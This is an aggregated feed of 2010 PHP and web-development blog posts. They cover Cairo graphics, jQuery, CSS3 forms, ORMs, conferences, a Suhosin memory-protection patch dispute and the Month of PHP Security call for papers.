$c->showText("Hello world");
/* Send the image to the browser */
header("Content-type: image/png");
$s->writeToPng("php://output");
?>
The output image should hopefully look like this:

(For those who are familiar with the Cairo library, this function maps to the cairo_ft_font_face_create_for_ft_face function in its API.)
There is still some work to be done in this area, notably to support the Windows and Mac OS X font systems, but they'll be coming in a future release, we hope. If anyone would like to help us with that, or any other aspect of it (including documentation!), you can get in touch on the PECL dev mailing list, or if you're on IRC, drop in to #php.pecl on EFnet. All contributions are welcome!
One of my favorite new features in jQuery 1.4 is the new $.proxy method. It allows us the ability to force a particular context when calling a method. In JavaScript, there can be times when it’s difficult to hold on to the this keyword. For example, when it’s bound to some event handler, this now refers to the target of the handler, rather than your desired object.
If this sounds a bit confusing, don’t worry; today’s four-minute video quick tip should clear things up.
// Create an object.
var obj = {
// this = obj
somevar : 'some value',
doSomething : function() {
alert(this.somevar);
}
};
// When bound to an event handler, this will
// refer to the target of the handler, or the div - not obj.
$('div').click(obj.doSomething); // undefined.
// With $.proxy, we pass two parameters.
// 1. The method to call.
// 2. The context.
// In this case, we're forcing obj to once again be equal to this.
$('div').click( $.proxy(obj.doSomething, obj) ); // some value
Be sure to refer to the jQuery API for more information on $.proxy!
Perhaps more than any other topic, I’m most often contacted about how to build cross-browser navigation menus. Understandably, the reason is because every web designer has built one at some point, if not during every project! Nonetheless, it can absolutely be a tricky task. In this video tutorial, I’ll teach you how to build an attractive cross-browser navigation menu; notable features include CSS3 gradients, multiple sub-menus, and jQuery animations.
Other Viewing Options Write a Plus TutorialDid you know that you can earn up to $600 for writing a PLUS tutorial and/or screencast for us? We’re looking for in depth and well-written tutorials on HTML, CSS, PHP, and JavaScript. If you’re of the ability, please contact Jeffrey at nettuts@tutsplus.com.
Please note that actual compensation will be dependent upon the quality of the final tutorial and screencast.
Thanks to everyone that came along to my talk about integrating search engines at the wonderful PHP UK 2010. The slides are available over at Slideshare. It was great speaking to so many people afterward about the challenges and solutions they've found with various engines, and the conference itself was top notch - congratulations to the organisers.
I'll be giving a (slightly shortened) version of the same talk at the Dutch PHP Conference 2010, which June 10-12th in the ever lovely Amsterdam. The schedule is absolutely chocker with great talks, from people like Elizabeth Naramore, Helgi, Thijs, Derick, Johannes and a load more. I'm particularly looking forward to Marcus' talk on geo data, and I would be looking forward to Sam de Freyssinet's talk on HMVC, except it's on at the same time as mine!

If you've been using your WordPress installation in a single-user fashion and have been looking to get more people in on the fun, you'll probably want to update to the WPMU edition of the popular blogging engine. It's not the easiest thing to accomplish, so the WordPress Arena site is here with a guide to walk you through each step of the way.
[WPMU] is most famously used for WordPress.com where it serves tens of millions of hits on millions of blogs each day. Many bloggers interested in using WordPress MU already have a WordPress blog. Unfortunately, I think it is not possible to turn WordPress installs into WordPress MU installs directly uploading new files and upgrading.
The post includes a 17-step process you'll need to follow to get your current WordPress installation migrated over intact (with a few sub-steps along the way). At the end, there's a brief tour of the new panels you'll have for things like the blogs, users, themes and administration.

Stefan Esser has officially announced the Call for Papers for the Month of PHP Security happening in May 2010. The MoPS is an effort to both close security issues with PHP that could cause developers and their applications problems as well as gather information to help developers write better code from the start.
Today the call for papers was released. Everyone from the PHP and security community is invited to produce quality articles/advisories about PHP security topics/bugs and submit them to the CFP committee.
If you're interested in submitting your ideas and articles for the Call for Papers, you'll find complete details on the PHP-Security.org site. A committee of four will be selecting the articles from those submitted. The site also includes a few suggested topics such as: a new vulnerability in PHP, an explanation of a complicated vulnerability, how to stage attacks on encrypted PHP systems or the release of a new open source security tool.
Prizes will be awarded for what the committee sees as the best published material including a first place prize of 1000 Euro, a Syscan ticket and a license for CodeScan PHP all the way down to an Amazon coupon for 65 USD/50 EUR. Submissions should be sent to cfp@php-security.org.

On the Zend Developer Zone today there's a new tutorial looking at a database class/component that implements the Nested Set idea for the Zend Framework - NestedSetDbTable.
There are several ways of realizing demand of storing hierarchical data in database, and most popular methods today are Adjacency List and Nested Set models. [...] With Nested Set model [the] whole tree can be retrieved with a single query, but there are lot of things that need to be done when you need to make some changes in hierarchy. From the title of this article, it's obvious which model is my favorite.
The class helps you to manage nested sets of data pulled from a database and extends the Zend_Db_Table component to pull in all of its additional functionality. You define the "left" and "right" columns in the table and can use constants like NEXT_SIBLING and LAST_CHILD to perform inserts and updates without having to worry about a record's place in the set. Code snippets are included to show you how it all works together.

New on the PHPClasses.org blog today there's a tutorial (written up by Cesar Rodas) about using MongoDB (a NoSQL database) in PHP applications.
Nowadays there is a new kind of databases that is getting very popular, specially for Web development, including the PHP world, which are the NoSQL databases. This article focus specifically on MongoDB, despite there are several other NoSQL database implementations.
While he starts you from the beginning on the PHP side (with the ) you'll need to already have MongoDB up and running to work with. He shows you how to insert new documents, update ones already in the database, pulling our documents and removing them from the database. He also covers a more real-world application of the database as well as how to store files, work with the map-reduce functionality and auto-sharding abilities.
Latest PEAR Releases:
I've just released Xdebug 2.1.0beta3 which includes a few crash bugs as well as the issue that headers sent from PHP scripts are not actually set.
You can find the full changelog here and get the latest version from the download page.
Everyone who cares about security will remember the Debian Openssl disaster in 2008. The debian developers had patched their version of openssl to fix compiler warnings. This resulted in a broken random number generator that made all keys generated by Debian systems predictable. One would think that Debian developers are more careful with patching “bugs” in security tools since that day.
However two days ago I finally installed a mail client on my reinstalled desktop system and checked mails of the hardened-php account that were not checked for 2 months, because usually noone uses this account to email me. While killing thousands of SPAM messages I also found a message from the Debian PHP maintainers, dating back to the 10th February 2010, telling me about a crash problem inside the Suhosin patch. The email also contained their solution to the problem: a patch for the suhosin patch. You can view this patch here. However you should not commit this patch to your PHP because it breaks Suhosin’s security.
I previously blogged about one of the new features in Suhosin Patch for PHP 5.3.x. It is now possible to adjust several internal features by setting certain environment variables on startup. This includes the memory manager canary protection, the sanitization of free memory blocks, the protection of linked lists and hashtables. When a Suhosin patched PHP starts the environment variables are evaluated and the suhosin config is written into a variable called suhosin_config.
It should be obvious that this kind of feature comes with a little problem. Certain bytes in memory now control if Suhosin’s internal memory protections are activated or not. This means that a memory corruption vulnerability in PHP could be used by an attacker to overwrite the config variable and disable the security. Because of this Suhosin Patch tries to align the suhosin_config variable to a page boundary and then set it to read only.
/* hack that needs to be fixed */
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#ifdef ZEND_WIN32
__declspec(align(PAGE_SIZE))
#endif
char suhosin_config[PAGE_SIZE]
#if defined(__GNUC__)
__attribute__ ((aligned(PAGE_SIZE)))
#endif
;
static void suhosin_write_protect_configuration()
{
#if defined(__GNUC__)
mprotect(suhosin_config, PAGE_SIZE, PROT_READ);
#endif
}
The implementation has some problems. First of all it only works in case of a GNU C compiler. The second and more serious problem is that it assumes that the PAGE_SIZE is smaller than or equal to 4096. Otherwise mprotect() will not correctly work. On systems where the PAGE_SIZE is bigger than 4096 the mprotect() will either fail or set too many bytes to read only. In case of a write access after the suhosin_config variable this can lead to a crash.
The Debian people saw this crash on some architectures and reacted with a patch. However they do not understand the security feature and therefore their patch looks like this.
char *suhosin_config = NULL; static void suhosin_write_protect_configuration&
Truncated by Planet PHP, read more at the original (another 2834 bytes)
Two days ago I installed a mail client on my reinstalled desktop system that was not doing anything for 2 month and checked mails of the hardened-php account that were not checked for 2 months. Usually noone uses this email account to contact me, but the Suhosin bug reports sometimes end up there. While killing thousands of SPAM messages I also found a message from the Debian PHP maintainers, dating back to the 10th February 2010, telling me about a crash problem inside the Suhosin patch. The email also contained their solution to the problem: a patch for the suhosin patch. You can view this patch here. However you should not commit this patch to your PHP because it does not solve the problem correctly.
I previously blogged about one of the new features in Suhosin Patch for PHP 5.3.x. It is now possible to adjust several internal features by setting certain environment variables on startup. This includes the memory manager canary protection, the sanitization of free memory blocks, the protection of linked lists and hashtables. When a Suhosin patched PHP starts the environment variables are evaluated and the suhosin config is written into a variable called suhosin_config.
It should be obvious that this kind of feature comes with a little problem. Certain bytes in memory now control if Suhosin’s internal memory protections are activated or not. This means that a memory corruption vulnerability in PHP could be used by an attacker to overwrite the config variable and disable the security. Because of this Suhosin Patch tries to align the suhosin_config variable to a page boundary and then set it to read only.
/* hack that needs to be fixed */
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#ifdef ZEND_WIN32
__declspec(align(PAGE_SIZE))
#endif
char suhosin_config[PAGE_SIZE]
#if defined(__GNUC__)
__attribute__ ((aligned(PAGE_SIZE)))
#endif
;
static void suhosin_write_protect_configuration()
{
#if defined(__GNUC__)
mprotect(suhosin_config, PAGE_SIZE, PROT_READ);
#endif
}
The implementation has some problems. First of all it only works in case of a GNU C compiler. The second and more serious problem is that it assumes that the PAGE_SIZE is smaller than or equal to 4096. Otherwise mprotect() will not correctly work. On systems where the PAGE_SIZE is bigger than 4096 the mprotect() will either fail or set too many bytes to read only. In case of a write access after the suhosin_config variable this can lead to a crash.
The Debian people saw this crash on some architectures and reacted with a patch. However they did misunderstand the security idea behind it and therefore their patch looks like this.
char *suhosin_config = NULL;
static void suhosin_write_protect_configuration()
{
#if defined(__GNUC__)
mprotect(suhosin_config, sysconf(_SC_PAGESIZE), PROT_READ)Truncated by Planet PHP, read more at the original (another 3081 bytes)
I previously blogged a sneak preview of the Month of PHP Security which is a new initiative to improve security in the PHP ecosystem. Today the call for papers was released. Everyone from the PHP and security community is invited to produce quality articles/advisories about PHP security topics/bugs and submit them to the CFP committee.
The event is generously sponsored by Syscan, SektionEins and CodeScan. And the best submissions can win a number of attractive prizes. The first prize consists of 1000 EUR, a free Syscan ticket and a free CodeScan PHP License. For a full list of the submissions accepted and prizes available check out the website.
In case you are not a PHP security expert you can still help to improve the event. Spread the word about the Month of PHP Security in your blog, link to it and announce your blog posting at drawing@php-security.org and win one of ten 25 EUR amazon coupons.

php|architect has announced another podcast series leading up to this year's TEK-X conference happening in May.
Last year php|architect and Microsoft got together and hosted a series of webcasts on topics of interest to PHP developers. We had so much fun that we are going to do it again this year. As most of you know, we had so many great proposals submitted to TEK·X that there was no way we could schedule them all. This year, instead of saying "Sorry, better luck next year" to these presenters, we selected the best of the ones that we couldn't find room for and invited them to be a part of the webcast series.
You can see the full list of the webcasts on this page. This round includes topics like Doctrine, Drupal, caching on WordPress and Windows Azure. You'll need to register to attend, but there's no charge for the registration. The first one starts next week - Friday, March 5th with Jonathan Wage covering Doctrine 2.

There's a new post on Lukas Smith's blog where he talks about frameworks, phpBB's decision and building "gold on top of crap".
See the various symfony CMS solutions are an example of how wrong things can go. We now have several solutions whose architectural differences are either cosmetic or simply bad design decisions probably a result of trying to invent things in the small ecosystem of a company project team. So I was very happy to hear then that phpBB will adopt Symfony 2 for their next version. Hopefully this will become a role model for others.
He talks about how several of the popular CMS systems these days have worked harder on their external functionality than on the base (where they need the most work). He also looks towards a future where there are good, solid CMS solutions and leaders will emerge from the pack and provide quality content management for the PHP masses.
There's also some great discussion in the comments of the post with people who both share and disagree with some of Lukas' thoughts.

From the Joomla blog today there's a new post looking at a few things that you can do to help speed up your site's Joomla installation - simple things that can make a lot of difference.
I'm going to outline some basic rudimentary steps that you can take to optimize your sites performance, and I'd like to hear any other suggestions that you may have ... here's the kicker though, steps users can take WITHOUT making addons to Joomla [...] I also think the majority of Joomla users are running Joomla in a shared hosting environment, so talking about too many server side optimisations could also overwhelm them with steps they are unable to take anyway.
Their suggestions involve enabling caching, keeping up with the latest version, checking on the PHP versions your hosting company is running (or you are) and optimizing some of the contents of the site like images, javascript or CSS. Check out the comments for other suggestions from other Joomla users.

In a new post to his blog Klaus Graefensteiner takes a look at two ways to test for prime numbers both with Sieve and from a file.
In PHP is really no ideal way to test large integers and determine whether they are prime numbers or not. The most popular algorithm for finding prime numbers is a memory and resource hog. It is called The Sieve of Eratosthenes.
You can get more of an idea on this method in this video and in this example from Wikipedia. He includes the full source for his solution that includes methods like isInteger, isPositive, isPerfectSquare and isPalindromicPrime. The script is also available for download.

On DevSnippets.com there's a new post looking at the CodeIgniter framework and some examples to get your started on using it.
Choosing a good PHP frameworks can help you develop complex Rich Internet Applications quickly, with a best practices oriented approach, and saving a lot of time reusing code snippets that are already available. There are a lot of interesting PHP frameworks you can choose for your next web project. Today we will focus on one of my favorite PHP Frameworks: CodeIgniter.
They briefly talk about why CodeIgniter is a good choice for your development, how to get it installed and have a list of some great tutorials that can help get you started:
In this tenth episode of the CodeIgniter From Scratch screencast series, we will be exploring the Calendar library. We are also going to utilize the database class and jQuery AJAX. I will show you how to build a simple and CSS-styled calendar page, which will have the ability to store and display content for each day.
Catch Up

Alex Netkachov has a new post for those using one of the popular content management systems out there and who might be looking for some resources to find some good extensions for them.
No matter how long you keep a web site, if you update it frequently, holding a community, or taking care of it in any other way, at any moment idea of changing or improve its functionality may come to your mind. If you are not a software developer then you have two options: find the developer that will do it for you or try to find extension for the CMS of your site that changes it in the way you want.
He offers a few tips on finding the right extension for your site and needs like looking out for extensions that aren't really extensions and checking the release date to make sure it's current. He also includes a few links to some of the larger CMS extension sites for Drupal, WordPress, Blogger, Joomla and DotNetNuke.

New from the Nefarious Designs blog today is a comprehensive post on using make to create automated website builds. He looks specifically at how to manage and build the Javascript and CSS portions of a site (but parts of it could be applied to just about any files you might want to automate).
In the interests of improving quality in production, of eliminating repetitive tasks, and of general development time saving, it's often a good idea to automate some of the website build process. What do I mean by "website build process"? Put simply, the task of preparation and publication to production (your live, open-to-the-internet environment), from a development environment. [...] I'm going to look at how you can automate the CSS and JavaScript part of the build process using Make, a handy little program that is installed with the standard build tools on most *nix based systems.
He shows how to automate the compression of multiple Javascript/CSS files into a single one (to reduce the number of HTTP requests required) by figuring out what's needed for the page. He shows how to build the Makefile with a few simple rules that concatenate the files together, run a minification tool on them and clean up any onld versions that might be out there. The final step is automatically updating the HTML to include the newly created Javascript/CSS file without having to do each one manually.
Examples of what you'll need to have in your Makefile are all included as well as the commands to issue to get it all working.

Following up on his article about getting SQL Azure working with PHP on Azure, Brian Swan has posted a new article in the series, a look at getting PHP itself running on an Azure platform.
In my last post I described how to access SQL Azure from PHP, but I described how to do this when PHP was running on my local server. In other words, I only described how to leverage half the cloud. In this post, I'll leverage the other half of the cloud by describing how to run PHP in Windows Azure.
You'll already need to have a Windows Azure subscription and a copy of the Azure SDK before getting started. With these in hand you can get started building the two packages you'll need to push to the Azure instance - one with the PHP binaries and the other a service definition file. He walks you through creating the application (screenshots), making the definition file and building the package to deploy. If all goes well, clicking on the "Deploy" button in your hosted service control panel should get you all set up.

As mentioned on the main PHP site today, the latest version in the PHP 5.2 series has been released - PHP 5.2.13.
The PHP development team would like to announce the immediate availability of PHP 5.2.13. This release focuses on improving the stability of the PHP 5.2.x branch with over 40 bug fixes, some of which are security related. All users of PHP 5.2 are encouraged to upgrade to this release.
For more information about the changes included in this release you can check out the full release announcement or the Changelog. As always, you can get this latest version from the downloads page.
Popular posts from PHPDeveloper.org for the past week:

I'm happy to say that I'll be speaking at the Dutch PHP Conference in June in Amsterdam, on the subject of the PECL/Cairo extension I've been helping out by working on for the past few months. This will be my first appearance as a speaker at a technical conference so I'm a little nervous, but I've no doubt I'll be practicing a bit before it happens. Apologies in advance to anyone I inflict the talk on before the event.

Gearman is a lightweight, high-performance solution for farming out processing work from one machine to another. I’m currently looking at using Gearman as a key part of the architecture of a new web API that I’m doing the R&D for. (I’ll go into why I need something like this, and why I’ve chosen Gearman in particular, another day).
Getting Gearman up and running on Ubuntu 9.10 (Karmic Koala) is very straight-forward and only takes a few minutes, but oddly not clearly documented on Gearman’s own wiki at the time of writing.
You’ll find that the gearmand process is already up and running, and listening on port 4730 on localhost. All you need to do now is to write some code to take advantage of it
I really enjoy giving talks. This is particularly because I like to teach people something and because I’m really enthusiastic about the technical things I talk about. Once of these things are obviously decentralized version control system, in particular Git and Mercurial. Finally after two years of submitting talks to various conferences, people and conferences in the PHP community start to pick up this topic. Seems that 2010 is the year of DVCS, and I’m really looking forward to give a talk about the advanced features of Git at
The talk will give a very brief overview how Git works, and will then give a more detailed insight in how Git handles commits, files, etc so that people get a very good understanding about the concepts that are needed to fully understand tools like git rebase, git reflog and git svn. The aim is to provide them will all necessary information and a few examples to get lost commits back, rebase their branches and design more complex git workflows in the future without needing to search the web or ask a guru.
A second talk will be more focused on beginners and developers coming from subversion. This talk will be part of a series of talks the german telekom is organizing. I’ll also give an extended version of this as an in-house workshop at a Munich based company.
So for me it seems that after five years, DVCS is mature enough to get into companies and that we can expect a bright variety of companies to adopt new tools and workflows. Let’s see what’s coming…
probably shameless self promotion
Thanks to advanced CSS properties, such as gradients and shadows, it’s now quite easy to turn a dull web form into something beautiful – with minimal effort. I’ll show you how in today’s tutorial!

Prefer a Video Tutorial? Join Plus!
If you’re more of a visual learner, you can watch a video version of this article instead. Simply help give back to Nettuts+ by signing up for a Plus membership, which grants you access to the Plus content for ALL of our sites – all for $9 per month.
Already a Member?Watch the video version of this tutorial.
Our Final Product
Subtle background gradients give depth to the fields while shadows lift them from the page. Even more impressive is that this is done without any images at all.
By following this tutorial you will not only end up with a lightweight and beautiful form, you’ll also learn and understand new CSS3 techniques, such as box-shadow, gradients, opaque colors, and rounded corners.
CSS3?CSS3 is the next generation of CSS that is currently under development, but that doesn’t stop browsers from already implementing many of the prominent features.
Opera has greater levels of support for CSS3 (except background gradients) in their next version (10.50 Beta).
Internet Explorer has also stated that they will have improved CSS3 support with version 9; however, only time will tell how true this is.
The things you can do with CSS3 (shadows, gradients, round corners, animations, etc) all serve a purpose of creating beautiful effects without having to integrate images or scripts, resulting in quicker loading times.
Step 1: The HTMLBefore we begin styling we need something to style, so here is the form.
<form class="form"> <p class="name"> <input type="text" name="name" id="name" /> <label for="name">Name</label> </p> <p class="email"> <input type="text" name="email" id="email" /> <label for="email">E-mail</label> </p> <p class="web"> <input type="text" name="web" id="web" /> <label for="web">Website</label> </p> <p class="text"> <textarea name="text"></textarea> </p> <p class="submit"> <input type="submit" value="Send" /> </p> </form>
Each field is inside a paragraph with its own class, and the three first fields have a label explaining their use.
How does it look without any styling?
Name
Website
Functional, but dull. Let’s start pimping out this form.
Step 2: Basic StylingBefore we dive into the CSS3 techniques we need to create a basic layout for browsers that don’t yet support CSS3.
input, textarea {
padding: 9px;
border: solid 1px #E5E5E5;
outline: 0;
font: normal 13px/100% Verdana, Tahoma, sans-serif;
width: 200px;
background: #FFFFFF;
}
textarea {
width: 400px;
max-width: 400px;
height: 150px;
line-height: 150%;
}
input:hover, textarea:hover,
input:focus, textarea:focus {
border-color: #C9C9C9;
}
.form label {
margin-left: 10px;
color: #999999;
}
.submit input {
width: auto;
padding: 9px 15px;
background: #617798;
border: 0;
font-size: 14px;
color: #FFFFFF;
}
How does our effort look so far?
Not too bad. Now, let’s begin our enhancements with the more advanced CSS3.
Step 3: Box-shadowBox-shadow does exactly what it sounds like: creates a shadow around a box.
The syntax for box-shadow is fairly simple:
box-shadow: <color> <horizontal offset> <vertical offset> <blur>;
Horizontal offset is the placement of the shadow from left to right. If you set it to “2px” the shadow will be 2 pixels to the right. Vertical offset is the same but up/down.
Blur is simply the amount of blur the shadow will have, where 0 is minimum.
This is how our box-shadow will look like:
input, textarea {
box-shadow: rgba(0,0,0, 0.1) 0px 0px 8px;
-moz-box-shadow: rgba(0,0,0, 0.1) 0px 0px 8px;
-webkit-box-shadow: rgba(0,0,0, 0.1) 0px 0px 8px;
}
Here we have three lines that look similar.
Until CSS3 becomes the standard, you have to use all three methods. Internet Explorer has their own weird way of doing things, and although it’s capable of making a shadow it will not look the way we want it. 3
You might notice that there was no normal RGB color used, this is because we’re using two CSS3 techniques on the same line: box-shadow and rgba.
RGBA (Red Green Blue Alpha) is, simply put, color with opacity.
The syntax for rgba is this:
rgba(<red>,<green>,<blue>,<opacity>);
It’s perfectly fine to use a light grey for the shadow’s color, but if you are using any other background than white it will look strange. An opaque black on the other hand will work well no matter what background.
So our box-shadow is black with 10% (0.1) opacity, no horizontal and vertical offset, and with a blur of 8 pixels. It will look like this:
The keyword here is subtlety. If we apply too much shadow, it will look ugly; if we apply too little, it won’t have an effect. Basically, we don’t want anyone to notice the shadow, but still have it lift the fields from the page.
Step 4: Background GradientWhile the box-shadow syntax is easy to grasp, gradients are trickier. With CSS3 gradients, you can create some amazing shapes — from dart boards to rainbows — so as you can imagine it has a more complex syntax. Thankfully, we don’t need to code a rainbow today; we just need a straight linear gradient.
-webkit-gradient( linear, <start>, <end>, from(<color>), to(<color>) )
-moz-linear-gradient(<start> <angle>, <color>, <color>)
As you can see, the methods are quite different, so this will require some explaining.
Webkit gradients require a start point (X and Y), an end point (X and Y), a from-color, and a to-color. The angle is determined by where start and end are, and the gradient will be colored with the “from(color)” fading to “to(color)”.
Gecko gradients, on the other hand, require only a start point (Y), and at least two colors. If you want a gradient going from top to bottom (90deg) you don’t need to assign an angle.
So to get a simple linear gradient from top to bottom – black to white – we would do like this:
background: -webkit-gradient(linear, left top, left bottom, from(#000000), to(#FFFFFF)); background: -moz-linear-gradient(top, #000000, #FFFFFF);
And it would appear like this:
(I will continue to use the black color for demonstration; at the end, I’ll switch to the real color we will be using for the form.)
Now that we have the basics out of the way, we can start making the form look how we want. The first thing we want to do is limit the height of the gradient so that it looks the same for both input fields and textarea; otherwise the gradient would fill the entire height, like this:
This is how we limit the background gradient to 25px in Webkit and Firefox:
input, textarea {
background: -webkit-gradient(linear, left top, left 25, from(#000000), to(#FFFFFF));
background: -moz-linear-gradient(top, #000000, #FFFFFF 25px);
}
For Webkit, instead of setting the end point to “left bottom,” we set it to “left 25″, indicating it will end 25 pixels from the top.
For Gecko, we do the same thing by simply adding a “25px” value to the end color.
And the result is:
The second thing we want to do is create a thin white line at the top of the gradient, to give the subtle visual impression that the field is raised. How important can a single pixel be? Take a look at this article: Adding Depth with Pixel Perfect Line Work.
To create this, we’ll need three points in the gradient. In the previous example, our gradient had two points: top and bottom (black→white). Here, we’ll add an additional point in between them (white→black→white).
To illustrate:
How do we do this?
input, textarea {
background: -webkit-gradient(linear, left top, left 25, from(#FFFFFF), color-stop(4%, #000000), to(#FFFFFF));
background: -moz-linear-gradient(top, #FFFFFF, #000000 1px, #FFFFFF 25px);
}
In Webkit we use the color-stop function, but unfortunately it doesn’t support values in pixels, only percentage. But thanks to paying attention to math in school we figure that 4% of 25px is 1px.
For Gecko, we simply add a third color between the first two and give it a “1px” value, indicating that it should end 1 pixel from the top.
The thin white line:
Now, let’s change the black color (#000000) to a more fitting light grey (#EEEEEE):
Just some small detail work remains.
First, we’ll create a darker shadow for the fields when the user hovers or selects it:
input:hover, textarea:hover,
input:focus, textarea:focus {
-webkit-box-shadow: rgba(0, 0, 0, 0.15) 0px 0px 8px;
}
It’s just an increase from 10% to 15%, but what we are after is, once again, subtlety.
The last thing we do is create some rounded corners for the button3 to further make it stand out from the other elements:
.submit input {
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
}
The value is the radius the corners will be rounded by. The standard border-radius is intentionally left out since Opera seems to have some problem with it.
Result:
Step 5: The Other Browsers
Now we just need to take care of the browsers that don’t support CSS3 yet (IE), or only partly does (Opera).
We want the different versions (CSS3 and the normal) to look as similar as possible, and the simplest thing is to go back to the old way: images.
Simply take a screenshot of the beautiful CSS3 form and save a small portion of the gradient as an image.
Next, use it in the input and textarea as a background. As long as the CSS3 gradients comes after the background image, browsers that support CSS3 will ignore the image.
input, textarea {
background: #FFFFFF url('bg_form.png') left top repeat-x;
}
And now we are done! Enjoy your form and I hope you have learned something.
Final PreviewChrome (4.0), Firefox (3.6), Safari (4.0):
Opera (10.50b):
Internet Explorer (8):
Full CSS
input, textarea {
padding: 9px;
border: solid 1px #E5E5E5;
outline: 0;
font: normal 13px/100% Verdana, Tahoma, sans-serif;
width: 200px;
background: #FFFFFF url('bg_form.png') left top repeat-x;
background: -webkit-gradient(linear, left top, left 25, from(#FFFFFF), color-stop(4%, #EEEEEE), to(#FFFFFF));
background: -moz-linear-gradient(top, #FFFFFF, #EEEEEE 1px, #FFFFFF 25px);
box-shadow: rgba(0,0,0, 0.1) 0px 0px 8px;
-moz-box-shadow: rgba(0,0,0, 0.1) 0px 0px 8px;
-webkit-box-shadow: rgba(0,0,0, 0.1) 0px 0px 8px;
}
textarea {
width: 400px;
max-width: 400px;
height: 150px;
line-height: 150%;
}
input:hover, textarea:hover,
input:focus, textarea:focus {
border-color: #C9C9C9;
-webkit-box-shadow: rgba(0, 0, 0, 0.15) 0px 0px 8px;
}
.form label {
margin-left: 10px;
color: #999999;
}
.submit input {
width: auto;
padding: 9px 15px;
background: #617798;
border: 0;
font-size: 14px;
color: #FFFFFF;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
}
Conclusion
That’s all there is to it! With minimal effort, and the power of CSS 3, we’ve turned a bland and ordinary form into something beautiful. Thanks so much for reading, and feel free to ask any questions that you might have below.
Write a Plus TutorialDid you know that you can earn up to $600 for writing a PLUS tutorial and/or screencast for us? We’re looking for in depth and well-written tutorials on HTML, CSS, PHP, and JavaScript. If you’re of the ability, please contact Jeffrey at nettuts@tutsplus.com.
Please note that actual compensation will be dependent upon the quality of the final tutorial and screencast.

In a recent post to his blog Brandon Savage evaluates Propel (ORM) to see what it has to offer him and his applications.
I've liked Propel ever since I started working with it in the middle of last year; I personally find it easier and more fun to use than Doctrine or other ORMs available today. I was excited to see recently that Propel's development team had released Propel 1.5 as a beta, with a launch of the new features to come soon.
He points out two of the newer features that he particularly likes - collections and on-demand hydration and model queries. The first lets you hydrate the results fetched as you need them instead of all at once and the second does away with some of the issues that came up with making Criteria objects. You can find out more about these and other new features on the Propel "What's New" page.

According to a new post to their blog, the PHPWomen group has announced a partnership program for projects that want to put out a message of encouraging diversity in contributors:
As quoted from the information page about the partnerships:
PHPWomen has launched a partnership program for open source projects that are committed to embracing diversity and providing a welcoming and friendly atmosphere for contributors. We work closely with project leaders to identify specific areas of need, and will actively encourage our members to participate by promoting those needs through various channels. In return, the project leaders will ensure that newcomers to their projects will be welcomed and their contributions appreciated. This includes fostering an open and friendly environment for all newcomers, not just females.
The goal of the project is to encourage inviting environments for open source projects where developers feel like they're given a chance to contribute equally and to provide something more specific than "here's a project that needs help - go for it".
There's already several projects that are on the list including Spaz and the PHP Documentation team. You can find out more specifics on what they're looking for in contributions on the Opportunities page.
Last week we published an article with different methods to hide e-mail addresses on websites. Because of several comments with suggestions on how-to solve this problem, we provide this week a solution which is “from these days” and more powerful.
Based on the idea if you don’t show an address, a spambot can’t see it, we use in our example a simple Ajax call (using jQuery) and show a tiny box with some friendly message including the link with e-mail address.
DEMO: We used the code from this tutorial on the this page.
First we need to create a simple php file that holds the content and the e-mail address, we use json_encode to make the string less readable:
<?php
// change the two vars below
$email = 'user@mail.com';
$html = 'Please contact us by e-mail: <a href="mailto:%%mAdr%%">%%mAdr%%</a><br /><br />
<a href="javascript:void(0);" id="hideme">Close</a>';
$eparts = explode('@', $email);
$data = array('ename'=>$eparts[0], 'dom'=>$eparts[1], 'htmlcode'=>$html);
echo json_encode($data);
?>
Don’t forget to block that file in your robots.txt file!
Now we need a function that will load the external content into the current page using an Ajax request.
$(document).ready(function() {
$("#clickme").live('click', function() {
$.ajax({
url: 'glink.html',
dataType: "/>Truncated by Planet PHP, read more at the original (another 8358 bytes)
Yesterday, I was very excited to announce that PHPWomen will be partnering with Open Source projects who foster open, friendly and respectful communities. We work with project leaders for these projects to identify specific areas where they can use the most help, then we, in turn, promote these opportunities to PHPWomen members. The result is that we get more women involved in contributing to open source, open source projects get the help they desperately need, and everybody goes home happy.
It's interesting to note that while we ask that a project provide a Statement of Diversity, or other similar language somewhere on the site, this is not always easy to do. I understand some hesitation in putting this idea in writing, and if a project leader instead can assure me that our members won't be harassed by a bunch of assholes, then I'm okay with that. By linking the PHPWomen name with your project, we're putting faith in the fact that you will treat everyone (male and female) with respect and as a valued member of the community.
I've been asked by more than one person why a Statement of Diversity is needed, when that should be the default. It should be obvious that everyone is respectful and treats all others equally. My answer to that is yes, it *should be obvious*. But it's not. Consider this. If you take the time to dedicate a page of your site, or even write up language that suggests your community embraces diversity, is open, friendly, and doesn't tolerate disrespect or discrimination based on anything, then that tells me that this is a priority for you. It sets the tone for your community. It clearly identifies your stance on the matter. If I come to your site, and I don't see anything anywhere that mentions how you treat newcomers, then for me to assume you're going to welcome me and my contributions with open arms ... well that's a big assumption to make. So while we don't require it, we do appreciate those that take the time to clarify the culture of their communities.
We already have 6 projects that have partnered with us, and are in discussions with numerous others. We are proud to partner with these awesome projects, and you can read more about them or see what specific opportunities they have:
If you are the project leader of an awesome Open Source project, and you'd like to be included on our list, by all means give me a shout at Elizabeth.at.Naramore.dot.net. And if you have considered contributing to open source, but you aren't sure where to start, then check out the wonderful opportunities that are out there!

In a recent post to the PHP-GTK Community site, there's a new presentation on code completion for PHP-GTK in Netbeans (illustrated here).
Jose Antonio Bayona Medina has put up a slideshow demonstrating how to use the basic technique outlined in this chapter to add PHP-GTK 2 autocompletion in Netbeans 6.7.
You can see the presentation in the post or head over to Slideshare and check out this and other presentations by Jose Antonio Bayona Medina about more PHP-GTK work and code completion.

Kevin Schroeder (of Zend) has posted a new video to YouTube on how to get the latest version of Zend Server up and running on a linux machine in under five minutes (four minutes and thirty-seven seconds, to be exact).
He shows you how to:
You can find out more about the Zend Server product on its info page on Zend.com

In a new post to his blog Klaus Graefensteiner talks about one of the fastest ways to get WordPress installed and running on a Windows 7 platform - the Web Platform Installer.
his is the first installment of a series of blog post called the WIMPinator Chronicles that describe how to setup a PHP development environment for Windows 7 and IIS 7.5. In this part we are taking advantage of a very cool tool called the Web Platform Installer. With a few clicks you will be able to install and configure IIS7, PHP, MySQL and a Wordpress blog on your local Windows 7 computer.
